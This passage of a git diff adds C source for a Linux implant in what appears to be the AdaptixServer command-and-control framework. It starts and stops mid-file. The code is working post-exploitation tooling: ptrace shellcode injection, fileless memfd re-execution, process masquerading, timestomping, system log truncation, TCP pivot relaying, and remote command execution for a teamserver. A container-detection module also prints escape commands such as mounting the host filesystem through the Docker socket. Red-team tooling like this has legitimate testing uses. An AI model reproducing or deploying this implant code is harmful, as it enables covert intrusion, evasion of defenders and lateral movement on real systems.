+ ax_itoa((int)sc_len, sc_str, 10);
+ ax_strcpy(msg, "Injected ");
+ ax_strcat(msg, sc_str);
+ ax_strcat(msg, " bytes into PID ");
+ ax_strcat(msg, pid_str);
+ write_output(w, msg);
+ }
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// migrate — re-exec from memfd (fileless mode)
+// No input params — this replaces the current process!
+// On success, this function never returns.
+// ══════════════════════════════════════════════════════════════════════
+
+int task_migrate(mp_writer_t *w) {
+#ifdef BUILD_SO
+ // In SO mode, /proc/self/exe points to the host process, not our agent.
+ // memfd re-exec would re-launch the host binary, not the agent.
+ write_error(w, "migrate not supported in SO mode (use ELF format)");
+ return 0;
+#else
+ // Attempt fileless re-exec via memfd_create.
+ // On success, this replaces the process → teamserver sees disconnect + new init.
+ // On failure, we report error and agent continues normally.
+ int ret = opsec_migrate_memfd(g_argv, NULL);
+
+ // Only reached on failure (success = execve replaces process)
+ write_error(w, "memfd migration failed (check kernel support or permissions)");
+ (void)ret;
+ return 0;
+#endif
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h
new file mode 100644
index 000000000..6e70c2999
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h
@@ -0,0 +1,24 @@
+#ifndef TASKS_OPSEC_H
+#define TASKS_OPSEC_H
+
+#include "types.h"
+#include "msgpack.h"
+
+/// OPSEC command handlers
+
+/// masquerade — set process name to fake value
+int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w);
+
+/// timestomp — modify file timestamps
+int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w);
+
+/// cleanlog — truncate system logs (requires root)
+int task_cleanlog(mp_writer_t *w);
+
+/// inject — ptrace-based shellcode injection
+int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w);
+
+/// migrate — re-exec from memfd (fileless)
+int task_migrate(mp_writer_t *w);
+
+#endif /* TASKS_OPSEC_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c
new file mode 100644
index 000000000..02236b8c9
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c
@@ -0,0 +1,126 @@
+#include "tasks_pivot.h"
+#include "pivot.h"
+#include "crt.h"
+
+/// COMMAND_LINK — connect to child agent via TCP
+/// Input msgpack: {address: str, port: int}
+/// cmd_id is used as the pivot identifier (matches Go's task.TaskId)
+int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", "Invalid params");
+ return 0;
+ }
+
+ const char *address = (const char *)0;
+ uint32_t addr_len = 0;
+ int port = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 7 && ax_memcmp(key, "address", 7) == 0) {
+ mp_read_str(&r, &address, &addr_len);
+ } else if (klen == 4 && ax_memcmp(key, "port", 4) == 0) {
+ uint64_t v;
+ mp_read_uint(&r, &v);
+ port = (int)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (!address || addr_len == 0 || port <= 0) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", "Missing address or port");
+ return 0;
+ }
+
+ // Null-terminate the address string
+ char addr_buf[256];
+ uint32_t copy_len = addr_len < 255 ? addr_len : 255;
+ ax_memcpy(addr_buf, address, copy_len);
+ addr_buf[copy_len] = '\0';
+
+ // Use cmd_id as the pivot ID — the Go side uses this for TsPivotCreate
+ pivot_link_tcp(&g_pivot_ctx, cmd_id, addr_buf, port, w);
+ return 0;
+}
+
+/// COMMAND_UNLINK — disconnect a pivot
+/// Input msgpack: {pivot_id: uint}
+int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", "Invalid params");
+ return 0;
+ }
+
+ uint32_t pivot_id = 0;
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) {
+ uint64_t v;
+ mp_read_uint(&r, &v);
+ pivot_id = (uint32_t)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ pivot_unlink(&g_pivot_ctx, pivot_id, w);
+ return 0;
+}
+
+/// COMMAND_PIVOT_EXEC — relay data from teamserver to child agent
+/// Input msgpack: {pivot_id: uint, data: bytes}
+int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ return 0;
+ }
+
+ uint32_t pivot_id = 0;
+ const uint8_t *relay_data = (const uint8_t *)0;
+ uint32_t relay_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) {
+ uint64_t v;
+ mp_read_uint(&r, &v);
+ pivot_id = (uint32_t)v;
+ } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) {
+ mp_read_bin(&r, &relay_data, &relay_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (relay_data && relay_len > 0) {
+ pivot_write(&g_pivot_ctx, pivot_id, relay_data, relay_len);
+ }
+
+ // PIVOT_EXEC doesn't produce a visible response — silent relay
+ (void)w;
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h
new file mode 100644
index 000000000..622a292d1
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h
@@ -0,0 +1,18 @@
+#ifndef TASKS_PIVOT_H
+#define TASKS_PIVOT_H
+
+#include "msgpack.h"
+#include
+
+/// Pivot command handlers
+
+/// COMMAND_LINK — needs cmd_id as the pivot identifier
+int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+/// COMMAND_UNLINK
+int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+/// COMMAND_PIVOT_EXEC — relay data to child agent
+int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+#endif /* TASKS_PIVOT_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c
new file mode 100644
index 000000000..d2dc433b8
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c
@@ -0,0 +1,502 @@
+/// tasks_proc.c -- Process commands for Linux agent
+/// All ops via direct syscalls — zero libc dependency.
+
+#include "tasks_proc.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// ── Linux constants ──
+
+#define O_RDONLY 0
+#define SIGKILL 9
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t *w, const char *msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+/// Parse /proc//stat → extract pid, comm, ppid, tty_nr
+/// Format: "pid (comm) state ppid pgrp session tty_nr ..."
+static int parse_proc_stat(const char *buf, int *pid, char *comm, size_t comm_size,
+ int *ppid, int *tty_nr) {
+ // Parse pid
+ const char *p = buf;
+ *pid = ax_atoi(p);
+
+ // Find '(' for comm start
+ while (*p && *p != '(') p++;
+ if (!*p) return -1;
+ p++; // skip '('
+
+ // Find matching ')' — comm can contain spaces and parens
+ const char *comm_start = p;
+ const char *comm_end = p;
+ while (*p) {
+ if (*p == ')') comm_end = p;
+ p++;
+ }
+ // comm_end now points to the LAST ')' in the string
+ size_t clen = (size_t)(comm_end - comm_start);
+ if (clen >= comm_size) clen = comm_size - 1;
+ ax_memcpy(comm, comm_start, clen);
+ comm[clen] = '\0';
+
+ // After ') ' comes: state ppid pgrp session tty_nr ...
+ p = comm_end + 1;
+ while (*p == ' ') p++;
+ // state (single char)
+ while (*p && *p != ' ') p++;
+ while (*p == ' ') p++;
+ // ppid
+ *ppid = ax_atoi(p);
+ while (*p && *p != ' ') p++;
+ while (*p == ' ') p++;
+ // pgrp — skip
+ while (*p && *p != ' ') p++;
+ while (*p == ' ') p++;
+ // session — skip
+ while (*p && *p != ' ') p++;
+ while (*p == ' ') p++;
+ // tty_nr
+ *tty_nr = ax_atoi(p);
+
+ return 0;
+}
+
+/// Read /proc//status and extract Uid: field (first value = real UID)
+static int get_proc_uid(int pid, int *uid) {
+ char path[64];
+ ax_strcpy(path, "/proc/");
+ char pidbuf[16];
+ ax_itoa(pid, pidbuf, 10);
+ ax_strcat(path, pidbuf);
+ ax_strcat(path, "/status");
+
+ char buf[4096];
+ int fd = sys_open(path, O_RDONLY, 0);
+ if (fd < 0) return -1;
+ long n = sys_read(fd, buf, sizeof(buf) - 1);
+ sys_close(fd);
+ if (n <= 0) return -1;
+ buf[n] = '\0';
+
+ // Find "Uid:\t"
+ char *p = ax_strstr(buf, "Uid:");
+ if (!p) return -1;
+ p += 4; // skip "Uid:"
+ while (*p == '\t' || *p == ' ') p++;
+ *uid = ax_atoi(p);
+ return 0;
+}
+
+/// Convert UID to username by parsing /etc/passwd
+static void uid_to_name(int uid, char *buf, size_t buf_size) {
+ char passwd[8192];
+ int fd = sys_open("/etc/passwd", O_RDONLY, 0);
+ if (fd < 0) goto fallback;
+
+ long n = sys_read(fd, passwd, sizeof(passwd) - 1);
+ sys_close(fd);
+ if (n <= 0) goto fallback;
+ passwd[n] = '\0';
+
+ char uid_str[16];
+ ax_itoa(uid, uid_str, 10);
+ size_t uid_len = ax_strlen(uid_str);
+
+ {
+ char *line = passwd;
+ while (*line) {
+ char *eol = ax_strchr(line, '\n');
+ if (eol) *eol = '\0';
+
+ // Format: name:x:uid:gid:...
+ char *p1 = ax_strchr(line, ':');
+ if (!p1) goto next;
+ char *p2 = ax_strchr(p1 + 1, ':');
+ if (!p2) goto next;
+ char *uid_start = p2 + 1;
+ char *p3 = ax_strchr(uid_start, ':');
+ if (!p3) goto next;
+
+ size_t field_len = (size_t)(p3 - uid_start);
+ if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) {
+ size_t name_len = (size_t)(p1 - line);
+ if (name_len >= buf_size) name_len = buf_size - 1;
+ ax_memcpy(buf, line, name_len);
+ buf[name_len] = '\0';
+ return;
+ }
+
+ next:
+ if (eol) line = eol + 1;
+ else break;
+ }
+ }
+
+fallback:
+ ax_itoa(uid, buf, 10);
+}
+
+/// Convert tty_nr to tty name string
+static void tty_to_name(int tty_nr, char *buf, size_t buf_size) {
+ if (tty_nr == 0) {
+ ax_strncpy(buf, "?", buf_size - 1);
+ buf[buf_size - 1] = '\0';
+ return;
+ }
+ int major = (tty_nr >> 8) & 0xff;
+ int minor = tty_nr & 0xff;
+
+ if (major == 136) {
+ // pts/
+ ax_strcpy(buf, "pts/");
+ char num[16];
+ ax_itoa(minor, num, 10);
+ ax_strcat(buf, num);
+ } else if (major == 4 && minor < 64) {
+ // tty
+ ax_strcpy(buf, "tty");
+ char num[16];
+ ax_itoa(minor, num, 10);
+ ax_strcat(buf, num);
+ } else {
+ ax_strcpy(buf, "tty");
+ char num[16];
+ ax_itoa(major, num, 10);
+ ax_strcat(buf, num);
+ ax_strcat(buf, "/");
+ ax_itoa(minor, num, 10);
+ ax_strcat(buf, num);
+ }
+}
+
+// ── getdents64 for /proc scanning ──
+
+struct linux_dirent64 {
+ uint64_t d_ino;
+ int64_t d_off;
+ uint16_t d_reclen;
+ uint8_t d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
+
+// ──── Command handlers ────
+
+int task_ps(mp_writer_t *w)
+{
+ // Scan /proc for numeric directories → each is a PID
+ int dirfd = sys_open("/proc", O_RDONLY, 0);
+ if (dirfd < 0) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "cannot open /proc");
+ mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0);
+ return 0;
+ }
+
+ // First pass: count PIDs
+ char dirbuf[4096];
+ uint32_t count = 0;
+ for (;;) {
+ int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos);
+ if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9') {
+ count++;
+ }
+ pos += d->d_reclen;
+ }
+ }
+ sys_close(dirfd);
+
+ // Second pass: collect process info
+ dirfd = sys_open("/proc", O_RDONLY, 0);
+ if (dirfd < 0) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "cannot reopen /proc");
+ mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0);
+ return 0;
+ }
+
+ mp_writer_t procs;
+ mp_writer_init(&procs, 4096);
+ mp_write_array(&procs, count);
+
+ uint32_t written = 0;
+ for (;;) {
+ int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos);
+ if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9' && written < count) {
+ // Read /proc//stat
+ char stat_path[64];
+ ax_strcpy(stat_path, "/proc/");
+ ax_strcat(stat_path, d->d_name);
+ ax_strcat(stat_path, "/stat");
+
+ char stat_buf[1024];
+ int sfd = sys_open(stat_path, O_RDONLY, 0);
+ if (sfd >= 0) {
+ long n = sys_read(sfd, stat_buf, sizeof(stat_buf) - 1);
+ sys_close(sfd);
+ if (n > 0) {
+ stat_buf[n] = '\0';
+
+ int pid = 0, ppid = 0, tty_nr = 0;
+ char comm[256] = {0};
+
+ if (parse_proc_stat(stat_buf, &pid, comm, sizeof(comm), &ppid, &tty_nr) == 0) {
+ // Get UID
+ int proc_uid = 0;
+ get_proc_uid(pid, &proc_uid);
+
+ char user[64];
+ uid_to_name(proc_uid, user, sizeof(user));
+
+ char tty[32];
+ tty_to_name(tty_nr, tty, sizeof(tty));
+
+ // Write PsInfo map: {pid, ppid, tty, context, process}
+ mp_write_map(&procs, 5);
+ mp_write_kv_int(&procs, "pid", pid);
+ mp_write_kv_int(&procs, "ppid", ppid);
+ mp_write_kv_str(&procs, "tty", tty);
+ mp_write_kv_str(&procs, "context", user);
+ mp_write_kv_str(&procs, "process", comm);
+
+ written++;
+ }
+ }
+ }
+ }
+ pos += d->d_reclen;
+ }
+ }
+ sys_close(dirfd);
+
+ // If we wrote fewer than count (processes died between passes), pad with empty maps
+ while (written < count) {
+ mp_write_map(&procs, 5);
+ mp_write_kv_int(&procs, "pid", 0);
+ mp_write_kv_int(&procs, "ppid", 0);
+ mp_write_kv_str(&procs, "tty", "?");
+ mp_write_kv_str(&procs, "context", "");
+ mp_write_kv_str(&procs, "process", "[dead]");
+ written++;
+ }
+
+ // AnsPs: {result: bool, status: string, processes: []byte}
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 1);
+ mp_write_kv_str(w, "status", "");
+ mp_write_kv_bin(w, "processes", procs.buf.data, (uint32_t)procs.buf.len);
+
+ mp_writer_free(&procs);
+ return 0;
+}
+
+int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ // Parse {pid: int}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ int pid = 0;
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+ if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); pid = (int)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (pid <= 0) {
+ write_error(w, "invalid pid");
+ return 0;
+ }
+
+ if (sys_kill(pid, SIGKILL) != 0) {
+ write_error(w, "kill failed");
+ return 0;
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ // Go sends: {program: "/bin/sh", args: ["-c", "whoami"]}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char program_buf[512] = {0};
+ // argv slots: [program, arg0, arg1, ..., NULL] — max 32 args
+ #define SHELL_MAX_ARGS 32
+ char *argv_ptrs[SHELL_MAX_ARGS + 2]; // +1 for program, +1 for NULL
+ int argc = 0;
+ char args_storage[4096] = {0};
+ size_t args_off = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 7 && ax_memcmp(key, "program", 7) == 0) {
+ const char *val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) break;
+ if (vlen >= sizeof(program_buf)) vlen = sizeof(program_buf) - 1;
+ ax_memcpy(program_buf, val, vlen);
+ program_buf[vlen] = '\0';
+ } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) {
+ // args is an array of strings: ["-c", "whoami"]
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) != 0) {
+ mp_skip(&r);
+ continue;
+ }
+ for (uint32_t j = 0; j < arr_count && argc < SHELL_MAX_ARGS; j++) {
+ const char *val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) break;
+ if (args_off + vlen + 1 > sizeof(args_storage)) break;
+ ax_memcpy(args_storage + args_off, val, vlen);
+ args_storage[args_off + vlen] = '\0';
+ argv_ptrs[1 + argc] = args_storage + args_off;
+ argc++;
+ args_off += vlen + 1;
+ }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (program_buf[0] == '\0') {
+ ax_strcpy(program_buf, "/bin/sh");
+ }
+
+ // Build final argv: [program, args..., NULL]
+ argv_ptrs[0] = program_buf;
+ argv_ptrs[1 + argc] = (char *)0;
+
+ // Set up pipe for stdout+stderr capture
+ int pipefd[2];
+ if (sys_pipe2(pipefd, 0) != 0) {
+ write_error(w, "pipe2 failed");
+ return 0;
+ }
+
+ int pid = sys_fork();
+ if (pid < 0) {
+ sys_close(pipefd[0]);
+ sys_close(pipefd[1]);
+ write_error(w, "fork failed");
+ return 0;
+ }
+
+ if (pid == 0) {
+ // Child process
+ sys_close(pipefd[0]);
+ sys_dup2(pipefd[1], 1);
+ sys_dup2(pipefd[1], 2);
+ sys_close(pipefd[1]);
+
+ char *envp[] = { (char *)0 };
+ sys_execve(program_buf, argv_ptrs, envp);
+ sys_exit_group(127);
+ }
+
+ // Parent
+ sys_close(pipefd[1]); // close write end
+
+ // Read output from child
+ size_t out_cap = 8192;
+ size_t out_len = 0;
+ uint8_t *output = (uint8_t *)ax_malloc(out_cap);
+
+ for (;;) {
+ if (out_len + 4096 > out_cap) {
+ out_cap *= 2;
+ output = (uint8_t *)ax_realloc(output, out_cap);
+ }
+ long n = sys_read(pipefd[0], output + out_len, 4096);
+ if (n <= 0) break;
+ out_len += (size_t)n;
+ }
+ sys_close(pipefd[0]);
+
+ // Wait for child
+ int status = 0;
+ sys_wait4(pid, &status, 0, (void *)0);
+
+ // Null-terminate for string output
+ if (out_len + 1 > out_cap) {
+ output = (uint8_t *)ax_realloc(output, out_len + 1);
+ }
+ output[out_len] = '\0';
+
+ // AnsShell: {output: string}
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char *)output);
+
+ ax_free(output);
+ return 0;
+}
+
+int task_getuid(mp_writer_t *w)
+{
+ int uid = sys_getuid();
+ int euid = sys_geteuid();
+
+ char uid_name[64], euid_name[64];
+ uid_to_name(uid, uid_name, sizeof(uid_name));
+ uid_to_name(euid, euid_name, sizeof(euid_name));
+
+ // Build "uid=() euid=()" string
+ char result[256];
+ ax_strcpy(result, "uid=");
+ char num[16];
+ ax_itoa(uid, num, 10);
+ ax_strcat(result, num);
+ ax_strcat(result, "(");
+ ax_strcat(result, uid_name);
+ ax_strcat(result, ") euid=");
+ ax_itoa(euid, num, 10);
+ ax_strcat(result, num);
+ ax_strcat(result, "(");
+ ax_strcat(result, euid_name);
+ ax_strcat(result, ")");
+
+ // AnsShell: {output: string}
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", result);
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h
new file mode 100644
index 000000000..8c63409ae
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h
@@ -0,0 +1,15 @@
+#ifndef TASKS_PROC_H
+#define TASKS_PROC_H
+
+#include "msgpack.h"
+#include
+
+/// Process command handlers
+/// ps, kill, shell
+
+int task_ps(mp_writer_t *w);
+int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_getuid(mp_writer_t *w);
+
+#endif /* TASKS_PROC_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h
new file mode 100644
index 000000000..47ff52228
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h
@@ -0,0 +1,109 @@
+#ifndef TYPES_H
+#define TYPES_H
+
+#include
+#include
+
+/// Boolean type
+#ifndef __cplusplus
+#ifndef bool
+typedef _Bool bool;
+#define true 1
+#define false 0
+#endif
+#endif
+
+/// NULL
+#ifndef NULL
+#define NULL ((void*)0)
+#endif
+
+/// Command codes — must match Go-side defines in pl_utils.go
+#define COMMAND_ERROR 0
+#define COMMAND_PWD 1
+#define COMMAND_CD 2
+#define COMMAND_SHELL 3
+#define COMMAND_EXIT 4
+#define COMMAND_DOWNLOAD 5
+#define COMMAND_UPLOAD 6
+#define COMMAND_CAT 7
+#define COMMAND_CP 8
+#define COMMAND_MV 9
+#define COMMAND_MKDIR 10
+#define COMMAND_RM 11
+#define COMMAND_LS 12
+#define COMMAND_PS 13
+#define COMMAND_KILL 14
+#define COMMAND_ZIP 15
+#define COMMAND_RUN 17
+#define COMMAND_JOB_LIST 18
+#define COMMAND_JOB_KILL 19
+
+// Linux-specific commands (slots 20-30)
+#define COMMAND_GETUID 20
+#define COMMAND_ENV 21
+#define COMMAND_NETSTAT 22
+#define COMMAND_MOUNTS 23
+#define COMMAND_EDR 24
+#define COMMAND_CREDS 25
+#define COMMAND_PERSIST 26
+#define COMMAND_CONTAINER 27
+
+// OPSEC commands (slots 28-30, 37-38)
+#define COMMAND_MASQUERADE 28
+#define COMMAND_TIMESTOMP 29
+#define COMMAND_CLEANLOG 30
+#define COMMAND_INJECT 37
+#define COMMAND_MIGRATE 38
+
+// Pivot commands (slots 39-41)
+#define COMMAND_PIVOT_EXEC 39
+#define COMMAND_LINK 40
+#define COMMAND_UNLINK 41
+
+// Tunnel/Terminal commands (control)
+#define COMMAND_TUNNEL_START 31
+#define COMMAND_TUNNEL_STOP 32
+#define COMMAND_TUNNEL_PAUSE 33
+#define COMMAND_TUNNEL_RESUME 34
+
+#define COMMAND_TERMINAL_START 35
+#define COMMAND_TERMINAL_STOP 36
+
+// Tunnel MUX commands (data flows in main channel, not separate connection)
+#define COMMAND_TUNNEL_WRITE 42 // teamserver → agent: write data to target
+#define COMMAND_TUNNEL_STATUS 43 // agent → teamserver: connect result
+#define COMMAND_TUNNEL_DATA 44 // agent → teamserver: data from target
+#define COMMAND_TUNNEL_CLOSE 45 // agent → teamserver: channel closed
+
+// BOF commands (slots 50-52)
+#define COMMAND_EXEC_BOF 50 // execute ELF BOF in-memory
+#define COMMAND_EXEC_BOF_OUT 51 // BOF output callback
+#define COMMAND_EXEC_BOF_ASYNC 52 // execute ELF BOF in background thread
+
+/// Pack types for agent ↔ teamserver protocol
+#define INIT_PACK 1
+#define EXFIL_PACK 2
+#define JOB_PACK 3
+#define JOB_TUNNEL 4
+#define JOB_TERMINAL 5
+#define BOF_PACK 6
+
+/// Pivot type constants
+#define PIVOT_TYPE_TCP 2
+#define PIVOT_TYPE_DISCONNECT 10
+
+/// Dynamic buffer type
+typedef struct {
+ uint8_t *data;
+ int len;
+ int cap;
+} buffer_t;
+
+// buffer_t functions are implemented in crt.c
+void buf_init(buffer_t *b, int initial_cap);
+void buf_append(buffer_t *b, const void *data, int len);
+void buf_free(buffer_t *b);
+void buf_reset(buffer_t *b);
+
+#endif // TYPES_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c
new file mode 100644
index 000000000..506fa66f7
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c
@@ -0,0 +1,253 @@
+/// container_detect.c — BOF: Container detection + escape/breakout hints
+/// Compile: gcc -c -o container_detect.o container_detect.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof container_detect.o
+
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+static int file_exists(const char *path) {
+ unsigned int mode = 0;
+ return (AxFileStat(path, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0);
+}
+
+static int file_contains(const char *path, const char *needle) {
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer(path, &data, 65536);
+ if (len <= 0 || !data) return 0;
+ int found = (AxStrstr(data, needle) != (char *)0);
+ AxFree(data);
+ return found;
+}
+
+static void check_docker(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Docker ===\n");
+ int is_docker = 0;
+
+ if (file_exists("/.dockerenv")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] /.dockerenv exists\n");
+ is_docker = 1;
+ }
+
+ if (file_contains("/proc/1/cgroup", "docker")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] /proc/1/cgroup contains 'docker'\n");
+ is_docker = 1;
+ }
+
+ if (file_contains("/proc/1/cgroup", "/docker/")) {
+ is_docker = 1;
+ }
+
+ // Check if we can see docker socket
+ if (file_exists("/var/run/docker.sock")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] Docker socket accessible at /var/run/docker.sock\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: docker run -v /:/host --rm -it alpine chroot /host sh\n");
+ }
+
+ // Check if /proc/1/cgroup shows we're in a container
+ if (!is_docker) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] No Docker indicators\n");
+ } else {
+ // Check for privileged mode
+ char *status = (char *)0;
+ int slen = AxReadFileToBuffer("/proc/1/status", &status, 8192);
+ if (slen > 0 && status) {
+ char *seccomp = AxStrstr(status, "Seccomp:");
+ if (seccomp) {
+ seccomp += 8;
+ while (*seccomp == ' ' || *seccomp == '\t') seccomp++;
+ if (*seccomp == '0') {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] Seccomp disabled — likely PRIVILEGED container\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: mount host fs, nsenter, load kernel module\n");
+ }
+ }
+ AxFree(status);
+ }
+
+ // Check for host PID namespace
+ char *sched = (char *)0;
+ int sc_len = AxReadFileToBuffer("/proc/1/sched", &sched, 4096);
+ if (sc_len > 0 && sched) {
+ // If PID 1 is not init/systemd, we see host processes
+ if (AxStrstr(sched, "systemd") == (char *)0 &&
+ AxStrstr(sched, "init") == (char *)0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!] PID 1 is not init/systemd — may share host PID namespace\n");
+ }
+ AxFree(sched);
+ }
+
+ // Check mounted devices
+ char *mounts = (char *)0;
+ int mt_len = AxReadFileToBuffer("/proc/mounts", &mounts, 131072);
+ if (mt_len > 0 && mounts) {
+ if (AxStrstr(mounts, "/dev/sd") || AxStrstr(mounts, "/dev/nvme") ||
+ AxStrstr(mounts, "/dev/vd")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!] Block devices mounted — disk access possible\n");
+ }
+ AxFree(mounts);
+ }
+
+ // Check capabilities
+ char *cap = (char *)0;
+ int cap_len = AxReadFileToBuffer("/proc/1/status", &cap, 8192);
+ if (cap_len > 0 && cap) {
+ char *cap_eff = AxStrstr(cap, "CapEff:");
+ if (cap_eff) {
+ cap_eff += 7;
+ while (*cap_eff == ' ' || *cap_eff == '\t') cap_eff++;
+ // Full caps = 000001ffffffffff or higher
+ if (AxStrstr(cap_eff, "0000003fffffffff") ||
+ AxStrstr(cap_eff, "000001ffffffffff") ||
